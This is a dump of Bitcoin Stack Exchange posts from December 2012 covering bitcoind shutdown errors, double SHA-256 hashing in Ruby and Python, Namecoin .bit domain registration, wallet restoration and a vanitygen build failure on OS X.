  <row Id="5678" PostTypeId="1" AcceptedAnswerId="5768" CreationDate="2012-12-09T02:39:26.257" Score="2" ViewCount="747" Body="&lt;p&gt;I am running bitcoind in Windows (interactively) and pressed &quot;control c&quot;.  The following error was displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EnvShutdown exception: DB_RUNRECOVERY: Fatal error, run database recovery (-30974)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this a bogus error, or could it lead to serious issues?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Did this delay my restart time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is the output after I restarted bitcoind: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin version v0.7.1-beta (2012-10-09 13:22:09 -0400)&#xA;Using OpenSSL version OpenSSL 1.0.1c 10 May 2012&#xA;Startup time: 12/09/12 02:35:45&#xA;Default data directory C:\Users\Administrator\AppData\Roaming\Bitcoin&#xA;Used data directory C:\Users\Administrator\AppData\Roaming\Bitcoin&#xA;dbenv.open LogDir=C:\Users\Administrator\AppData\Roaming\Bitcoin\database &#xA;&#xA;ErrorFile=C:\Users\Administrator\AppData\Roaming\Bitcoin\db.log&#xA;Bound to [::]:8333&#xA;Bound to 0.0.0.0:8333&#xA;Loading block index...&#xA;LoadBlockIndex(): hashBestChain=0000000000000451ad20  height=193797  date=08/14/12 03:38:39&#xA;Verifying last 2500 blocks at level 1&#xA; block index          158518ms&#xA;Loading wallet...&#xA;nFileVersion = 70100&#xA; wallet                  858ms&#xA;Rescanning last 3 blocks (from block 193794)...&#xA; rescan                   47ms&#xA;Loading addresses...&#xA;Loaded 12371 addresses from peers.dat  78ms&#xA;RandAddSeed() 164540 bytes&#xA;mapBlockIndex.size() = 193799&#xA;nBestHeight = 193797&#xA;setKeyPool.size() = 100&#xA;mapWallet.size() = 0&#xA;mapAddressBook.size() = 1&#xA;Done loading&#xA;send version message: version 60002, blocks=193797, us=0.0.0.0:0, them=0.0.0.0:0, peer=127.0.0.1:0&#xA;sending: version (100 bytes)&#xA;ThreadRPCServer started&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-13T18:43:45.550" Title="How do I properly shut down bitcoind on Windows? I get error: EnvShutdown exception: DB_RUNRECOVERY: Fatal error, run database recovery (-30974)" Tags="|bitcoind|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5679" PostTypeId="2" ParentId="5671" CreationDate="2012-12-09T02:48:07.637" Score="8" Body="&lt;p&gt;You want to work with the digests, not the hex strings.&lt;/p&gt;&#xA;&lt;p&gt;Here's some Ruby:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-ruby prettyprint-override&quot;&gt;&lt;code&gt;require 'digest'&#xA;d = Digest::SHA2.new 256&#xA;d2 = Digest::SHA2.new 256&#xA;d &amp;lt;&amp;lt; 'hello'&#xA;d.to_s&#xA;d2 &amp;lt;&amp;lt; d.digest&#xA;d2.to_s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will be the output from &lt;code&gt;irb&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-ruby prettyprint-override&quot;&gt;&lt;code&gt;1.9.3p194 :001 &amp;gt; require 'digest'&#xA; =&amp;gt; true &#xA;1.9.3p194 :003 &amp;gt;   d = Digest::SHA2.new 256&#xA; =&amp;gt; #&amp;lt;Digest::SHA2:256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855&amp;gt; &#xA;1.9.3p194 :004 &amp;gt; d2 = Digest::SHA2.new 256&#xA; =&amp;gt; #&amp;lt;Digest::SHA2:256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855&amp;gt; &#xA;1.9.3p194 :005 &amp;gt; d &amp;lt;&amp;lt; 'hello'&#xA; =&amp;gt; #&amp;lt;Digest::SHA2:256 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824&amp;gt; &#xA;1.9.3p194 :006 &amp;gt; d.to_s&#xA; =&amp;gt; &amp;quot;2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824&amp;quot; &#xA;1.9.3p194 :007 &amp;gt; d2 &amp;lt;&amp;lt; d.digest&#xA; =&amp;gt; #&amp;lt;Digest::SHA2:256 9595c9df90075148eb06860365df33584b75bff782a510c6cd4883a419833d50&amp;gt; &#xA;1.9.3p194 :008 &amp;gt; d2.to_s&#xA; =&amp;gt; &amp;quot;9595c9df90075148eb06860365df33584b75bff782a510c6cd4883a419833d50&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's the same thing in Python:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import hashlib&#xA;d = hashlib.sha256(b&amp;quot;hello&amp;quot;)&#xA;d2 = hashlib.sha256()&#xA;d.hexdigest()&#xA;d2.update(d.digest())&#xA;d2.hexdigest()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the output from within a Python shell:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; d = hashlib.sha256(b&amp;quot;hello&amp;quot;)&#xA;&amp;gt;&amp;gt;&amp;gt; d2 = hashlib.sha256()&#xA;&amp;gt;&amp;gt;&amp;gt; d.hexdigest()&#xA;'2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824'&#xA;&amp;gt;&amp;gt;&amp;gt; d2.update(d.digest())&#xA;&amp;gt;&amp;gt;&amp;gt; d2.hexdigest()&#xA;'9595c9df90075148eb06860365df33584b75bff782a510c6cd4883a419833d50'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="123594" LastEditDate="2023-08-21T15:40:01.053" LastActivityDate="2023-08-21T15:40:01.053" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="5680" PostTypeId="2" ParentId="5637" CreationDate="2012-12-09T04:13:52.887" Score="1" Body="&lt;p&gt;The site was shut down in November and the former operator &lt;a href=&quot;http://bitcointalk.org/index.php?topic=78556.msg1324903#msg1324903&quot; rel=&quot;nofollow&quot;&gt;claims&lt;/a&gt; to no longer be involved with the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That operator is now attempting to raise funds for a new venture, &lt;a href=&quot;http://ziggap.com&quot; rel=&quot;nofollow&quot;&gt;Ziggap&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;QuickBitcoins didn't take deposits.  They were a service used to buy coins for immediate delivery or for selling coins with immediate cash-out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are owed bitcoins or funds from a cash-out transaction, the operator at the time would still be responsible for that liability, regardless of whatever disclaimer is provided about now &quot;no longer having any relationship&quot; with the service.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-09T04:13:52.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5681" PostTypeId="2" ParentId="5620" CreationDate="2012-12-09T04:22:53.043" Score="4" Body="&lt;p&gt;There is &lt;a href=&quot;http://bitcointalk.org/index.php?topic=85495.msg942171#msg942171&quot; rel=&quot;nofollow&quot;&gt;a script provided by a forum user Revalin&lt;/a&gt; which can be used to attempt variations.  There is a forum user Rix who may be available for &lt;a href=&quot;http://bitcointalk.org/index.php?topic=85495.msg965203#msg965203&quot; rel=&quot;nofollow&quot;&gt;hire to provide assistance&lt;/a&gt; with this type of problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try out this script:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=170694.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=170694.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2013-04-11T21:04:07.980" LastActivityDate="2013-04-11T21:04:07.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5682" PostTypeId="2" ParentId="5600" CreationDate="2012-12-09T04:36:34.020" Score="1" Body="&lt;p&gt;There have been many instances of coins being sent to the wrong address and then clues from the blockchain used to discover the recipient and thus recover the funds.  Goat's 400 BTC &lt;a href=&quot;http://bitcointalk.org/index.php?topic=82600.0&quot; rel=&quot;nofollow&quot;&gt;loss and subsequent recovery&lt;/a&gt; is the largest of these that I'm aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been hints from the blockchain that have &lt;a href=&quot;http://bitcointalk.org/index.php?topic=113733.msg1236515#msg1236515&quot; rel=&quot;nofollow&quot;&gt;allegedly&lt;/a&gt; associated sockpuppet accounts to a repeat offending scammer.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-09T04:36:34.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5683" PostTypeId="1" AcceptedAnswerId="5684" CreationDate="2012-12-09T11:20:22.447" Score="4" ViewCount="2012" Body="&lt;p&gt;I have several namecoins and would like to register a name.  That name could either be for TOR, DNS, or any other purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the steps needed to spend these coins?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-09T12:02:34.180" LastActivityDate="2013-08-30T09:33:48.697" Title="How do I register a .bit domain name with Namecoin?" Tags="|namecoin|tor|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5684" PostTypeId="2" ParentId="5683" CreationDate="2012-12-09T13:24:12.263" Score="4" Body="&lt;p&gt;The algorithm of registering &lt;code&gt;.bit&lt;/code&gt; domain is described, for example, on &lt;a href=&quot;http://dot-bit.org/HowToRegisterAndConfigureBitDomains&quot; rel=&quot;nofollow&quot;&gt;dot-bit wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create new domain name with &lt;code&gt;name_new&lt;/code&gt; command: &lt;code&gt;./namecoind name_new d/&amp;lt;name&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wait 12 or more blocks&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Actually register the domain with &lt;code&gt;name_firstupdate&lt;/code&gt;, where &lt;code&gt;&amp;lt;rand&amp;gt;&lt;/code&gt; is the second (shorter) hexadecimal string returned by &lt;code&gt;name_new&lt;/code&gt;, and &lt;code&gt;&amp;lt;json-value&amp;gt;&lt;/code&gt; is the domain configuration (similar to DNS record): &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./namecoind name_firstupdate d/&amp;lt;name&amp;gt; &amp;lt;rand&amp;gt; '&amp;lt;json-value&amp;gt;'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic &lt;code&gt;json-string&lt;/code&gt;, mapping the domain to the some IP looks like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'{&quot;ip&quot;:&quot;1.2.3.4&quot;, &quot;tor&quot;:&quot;123456.onion&quot;}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dot-bit.org/Namespace%3aDomain_names_v2.0#Value_field&quot; rel=&quot;nofollow&quot;&gt;More on domain configuration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2012-12-09T13:24:12.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5685" PostTypeId="1" AcceptedAnswerId="5688" CreationDate="2012-12-09T16:32:03.400" Score="1" ViewCount="2756" Body="&lt;p&gt;I just created a new address using &lt;code&gt;namecoind getnewaddress&lt;/code&gt; and am trying to figure out what command lists them (in case I forget mine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the command to list my addresses (that I have a private key for)?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-09T22:03:43.043" Title="How do I list all of my addresses in namecoind?" Tags="|wallet|address|namecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5686" PostTypeId="2" ParentId="5643" CreationDate="2012-12-09T17:54:46.887" Score="1" Body="&lt;p&gt;I believe a suggestion from ripper234 in discussion is the answer I'm looking for - use the Armory client instead. I found this page about Armory particularly reassuring and will be trying that client shortly: &lt;a href=&quot;http://bitcoinarmory.com/index.php/using-offline-wallets-in-armory&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinarmory.com/index.php/using-offline-wallets-in-armory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I see now with the help of the Armory client that the name of the feature I was after is a private key &quot;sweep&quot;. Apparently it's common enough to have its own name and menu item in Armory. That will &quot;sweep&quot; the value out of the provided address into your Armory wallet to make sure that anyone else who may come into possession of the private key won't have access to the value it stored.&lt;/p&gt;&#xA;" OwnerUserId="2335" LastEditorUserId="2335" LastEditDate="2012-12-09T21:10:25.320" LastActivityDate="2012-12-09T21:10:25.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5688" PostTypeId="2" ParentId="5685" CreationDate="2012-12-09T21:39:02.060" Score="3" Body="&lt;pre&gt;&lt;code&gt;namecoind listreceivedbyaddress 0 true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0&lt;/code&gt; means to include even transactions with no confirmations, &lt;code&gt;true&lt;/code&gt; means to show even &quot;empty&quot; addresses&lt;/p&gt;&#xA;" OwnerUserId="2398" LastEditorUserId="2398" LastEditDate="2012-12-09T22:03:43.043" LastActivityDate="2012-12-09T22:03:43.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5689" PostTypeId="1" CreationDate="2012-12-09T21:49:43.060" Score="1" ViewCount="130" Body="&lt;p&gt;I'm comparing the run time debug logs of namecoin and bitcoin and noticed that much of namecoin's initial sync processing is dominated by the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ConnectInputsHook() : connecting inputs on bd3dd490663d35b1bb4f196335e84d84148c7f5573acb0f7c993dcfffe6fdf35 which was not in pending - must be someone elses&#xA;ConnectInputsHook() : connecting inputs on 93a1fc009d5bda3f2670c3b8a40eebaead3128d83762346106fba6af4bd87b45 which was not in pending - must be someone elses&#xA;ConnectInputsHook() : connecting inputs on d654e34b29e1cbd2c14b8437b020b7bf24b0366a39acb0eb7e754581e7100af8 which was not in pending - must be someone else's&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... of course the inputs vary, but I'm at block 4300 and I'm getting tons of these &quot;errors&quot;.  What causes these messages and is that normal going forward?  (what are the conditions that cause these messages)?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-09T21:49:43.060" Title="Why are a majority of the namecoin sync messages &quot;ConnectInputsHook() not in pending - must be someone elses&quot;" Tags="|namecoin|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T17:31:57.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="5690" PostTypeId="1" AcceptedAnswerId="5691" CreationDate="2012-12-09T23:29:13.803" Score="8" ViewCount="1722" Body="&lt;p&gt;I recently restored my wallet.dat file from another machine. The wallet.dat came from a Linux machine (debian), and was restored to a Windows bitcoin install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After restoring I can see the correct bitcoin address, but the balance is 0 BTC. The client is still downloading the block-chain (152,000 blocks at time of writing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When will the balance show? It should have a balance of 0.66 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet was restored using the answer from this question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/324/how-can-i-restore-a-wallet-dat-file&quot;&gt;How can I restore my wallet?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2399" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2017-02-03T08:59:42.390" Title="Wallet balance zero after restoring wallet.dat" Tags="|wallet|balance|wallet-recovery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5691" PostTypeId="2" ParentId="5690" CreationDate="2012-12-09T23:41:40.077" Score="12" Body="&lt;p&gt;The balance will return as soon as the client catches up with the network.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-12-09T23:41:40.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5692" PostTypeId="2" ParentId="5463" CreationDate="2012-12-10T02:56:14.410" Score="1" Body="&lt;p&gt;Give me the make of the FPGA and the name of FPGA binary you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could well be that you are over-clocking the FPGA too far, due to the way that many of these cores are designed, there is a race condition, where the  &quot;success&quot; flag, gets out of sync with the &quot;nonce&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the FPGA flags the &quot;hit&quot;, but by the time it gets to copying the &quot;nonce&quot;, it has changed......&#xA;and so fails.&lt;/p&gt;&#xA;" OwnerUserId="2401" LastActivityDate="2012-12-10T02:56:14.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5695" PostTypeId="1" AcceptedAnswerId="5700" CreationDate="2012-12-10T03:04:20.677" Score="31" ViewCount="9599" Body="&lt;p&gt;What exactly are colored coins? I've tried understanding, but I don't quite get it yet . . . Do any examples exist?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="121614" LastEditDate="2022-07-28T01:00:19.777" LastActivityDate="2022-07-28T01:00:19.777" Title="What are colored coins?" Tags="|terminology|colored-coins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5696" PostTypeId="1" AcceptedAnswerId="5699" CreationDate="2012-12-10T04:13:43.840" Score="11" ViewCount="2460" Body="&lt;p&gt;Some bitcoins have been permanently lost when they are sent the the following addresses.  The explanation I've found is that they &lt;a href=&quot;https://bitcointalk.org/index.php?action=printpage;topic=20955.0&quot;&gt;contain characters that are invalid in Base58&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/address/1BitcoinEaterAddressDontSendf59kuE&quot;&gt;1BitcoinEaterAddressDontSendf59kuE&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/address/1Boxo846yTDLHgKM94aYseHBnCjJ4eYbzb&quot;&gt;1Boxo846yTDLHgKM94aYseHBnCjJ4eYbzb&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Specifically, base58 only allows the following characters  (excluding &lt;code&gt;0oiL&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static const char* pszBase58 = &quot;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&quot;; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the current running total of &quot;lost&quot; bitcoins, or lacking that, what is the general process needed to figure this out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(What API methods would you call to get the data to determine this?)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-19T21:09:15.803" LastActivityDate="2012-12-19T21:09:15.803" Title="How many bitcoins have been sent to Base58-invalid addresses?" Tags="|transactions|development|vanity-address|base58check|lost-transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5697" PostTypeId="1" CreationDate="2012-12-10T04:32:38.940" Score="4" ViewCount="4952" Body="&lt;p&gt;I get the error below when I try to &lt;a href=&quot;https://github.com/samr7/vanitygen/blob/master/INSTALL&quot; rel=&quot;nofollow&quot;&gt;make vanitygen according to the instructions listed in &quot;install&quot;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error from make&lt;/strong&gt; (short version)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;27 warnings generated.&#xA;cc -ggdb -O3 -Wall   -c -o pattern.o pattern.c&#xA;pattern.c:32:10: fatal error: 'pcre.h' file not found&#xA;#include &amp;lt;pcre.h&amp;gt;&#xA;         ^&#xA;1 error generated.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Full output of make&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my-MacBook-Pro:git-vanitygen admin$ make&#xA;cc -ggdb -O3 -Wall   -c -o vanitygen.o vanitygen.c&#xA;vanitygen.c:76:11: warning: 'EC_KEY_get0_group' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;        pgroup = EC_KEY_get0_group(pkey);&#xA;                 ^&#xA;vanitygen.c:77:9: warning: 'EC_GROUP_get0_generator' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;        pgen = EC_GROUP_get0_generator(pgroup);&#xA;               ^&#xA;vanitygen.c:80:13: warning: 'EC_POINT_new' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                ppnt[i] = EC_POINT_new(pgroup);&#xA;                          ^&#xA;vanitygen.c:86:14: warning: 'EC_POINT_new' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;        pbatchinc = EC_POINT_new(pgroup);&#xA;                    ^&#xA;vanitygen.c:92:2: warning: 'BN_set_word' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;        BN_set_word(&amp;amp;vxcp-&amp;gt;vxc_bntmp, ptarraysize);&#xA;        ^&#xA;vanitygen.c:93:2: warning: 'EC_POINT_mul' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;        EC_POINT_mul(pgroup, pbatchinc, &amp;amp;vxcp-&amp;gt;vxc_bntmp, NULL, NULL,&#xA;        ^&#xA;vanitygen.c:95:2: warning: 'EC_POINT_make_affine' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;        EC_POINT_make_affine(pgroup, pbatchinc, vxcp-&amp;gt;vxc_bnctx);&#xA;        ^&#xA;vanitygen.c:124:4: warning: 'EC_KEY_generate_key' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                        EC_KEY_generate_key(pkey);&#xA;                        ^&#xA;vanitygen.c:128:4: warning: 'EC_GROUP_get_order' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                        EC_GROUP_get_order(pgroup, &amp;amp;vxcp-&amp;gt;vxc_bntmp,&#xA;                        ^&#xA;vanitygen.c:130:4: warning: 'BN_sub' is deprecated [-Wdeprecated-declarations]&#xA;                        BN_sub(&amp;amp;vxcp-&amp;gt;vxc_bntmp2,&#xA;                        ^&#xA;vanitygen.c:132:11: warning: 'EC_KEY_get0_private_key' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                               EC_KEY_get0_private_key(pkey));&#xA;                               ^&#xA;vanitygen.c:133:15: warning: 'BN_get_word' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                        rekey_at = BN_get_word(&amp;amp;vxcp-&amp;gt;vxc_bntmp2);&#xA;                                   ^&#xA;vanitygen.c:138:4: warning: 'EC_POINT_copy' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                        EC_POINT_copy(ppnt[0], EC_KEY_get0_public_key(pkey));&#xA;                        ^&#xA;vanitygen.c:138:27: warning: 'EC_KEY_get0_public_key' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                        EC_POINT_copy(ppnt[0], EC_KEY_get0_public_key(pkey));&#xA;                                               ^&#xA;vanitygen.c:145:5: warning: 'EC_POINT_add' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                                EC_POINT_add(pgroup,&#xA;                                ^&#xA;vanitygen.c:154:5: warning: 'EC_POINT_add' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                                EC_POINT_add(pgroup,&#xA;                                ^&#xA;vanitygen.c:173:5: warning: 'EC_POINT_add' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                                EC_POINT_add(pgroup,&#xA;                                ^&#xA;vanitygen.c:192:3: warning: 'EC_POINTs_make_affine' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                EC_POINTs_make_affine(pgroup, nbatch, ppnt, vxcp-&amp;gt;vxc_bnctx);&#xA;                ^&#xA;vanitygen.c:196:10: warning: 'EC_POINT_point2oct' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                        len = EC_POINT_point2oct(pgroup, ppnt[i],&#xA;                              ^&#xA;vanitygen.c:203:4: warning: 'SHA256' is deprecated [-Wdeprecated-declarations]&#xA;                        SHA256(hash_buf, hash_len, hash1);&#xA;                        ^&#xA;vanitygen.c:204:4: warning: 'RIPEMD160' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                        RIPEMD160(hash1, sizeof(hash1), &amp;amp;vxcp-&amp;gt;vxc_binres[1]);&#xA;                        ^&#xA;vanitygen.c:236:4: warning: 'EC_POINT_free' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                        EC_POINT_free(ppnt[i]);&#xA;                        ^&#xA;vanitygen.c:238:3: warning: 'EC_POINT_free' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                EC_POINT_free(pbatchinc);&#xA;                ^&#xA;vanitygen.c:419:18: warning: 'EC_POINT_hex2point' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                        pubkey_base = EC_POINT_hex2point(&#xA;                                      ^&#xA;vanitygen.c:420:5: warning: 'EC_KEY_get0_group' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                                EC_KEY_get0_group(pkey),&#xA;                                ^&#xA;vanitygen.c:422:4: warning: 'EC_KEY_free' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                        EC_KEY_free(pkey);&#xA;                        ^&#xA;vanitygen.c:528:9: warning: 'RAND_load_file' is deprecated&#xA;      [-Wdeprecated-declarations]&#xA;                opt = RAND_load_file(seedfile, opt);&#xA;                      ^&#xA;27 warnings generated.&#xA;cc -ggdb -O3 -Wall   -c -o pattern.o pattern.c&#xA;pattern.c:32:10: fatal error: 'pcre.h' file not found&#xA;#include &amp;lt;pcre.h&amp;gt;&#xA;         ^&#xA;1 error generated.&#xA;make: *** [pattern.o] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that PCRE that is listed &lt;a href=&quot;http://www.pcre.org&quot; rel=&quot;nofollow&quot;&gt;also has a OSX port that is listed here&lt;/a&gt;, and when I compile according to the instructions I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make  install-am&#xA; ./install-sh -c -d '/usr/local/lib'&#xA; /bin/sh ./libtool   --mode=install /usr/bin/install -c   libpcre.la libpcreposix.la libpcrecpp.la '/usr/local/lib'&#xA;libtool: install: /usr/bin/install -c .libs/libpcre.1.dylib /usr/local/lib/libpcre.1.dylib&#xA;install: /usr/local/lib/libpcre.1.dylib: Permission denied&#xA;make[2]: *** [install-libLTLIBRARIES] Error 71&#xA;make[1]: *** [install-am] Error 2&#xA;make: *** [install] Error 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-10T04:41:00.617" LastActivityDate="2014-03-03T04:24:11.217" Title="OSX Vanitygen error: pattern.c:32:10: fatal error: 'pcre.h' file not found" Tags="|development|mac|vanity-address|vanitygen|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5698" PostTypeId="2" ParentId="5696" CreationDate="2012-12-10T05:20:19.607" Score="11" Body="&lt;p&gt;None. It's impossible to send bitcoins to an invalid address. Those addresses are valid, though they might not be owned by anyone. Look at pszBase58 more carefully: 'o', 'i', and 'L' are allowed. The first few posts in that forum thread are wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network doesn't know anything about Bitcoin addresses. At the network level, you never send bitcoins to an address. Bitcoins are sent to &quot;scripts&quot;. Your client converts addresses into appropriate scripts. If an address is invalid, it can't be converted into a script. So the idea of sending BTC to an invalid address is nonsensical.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2012-12-10T06:54:56.697" LastActivityDate="2012-12-10T06:54:56.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
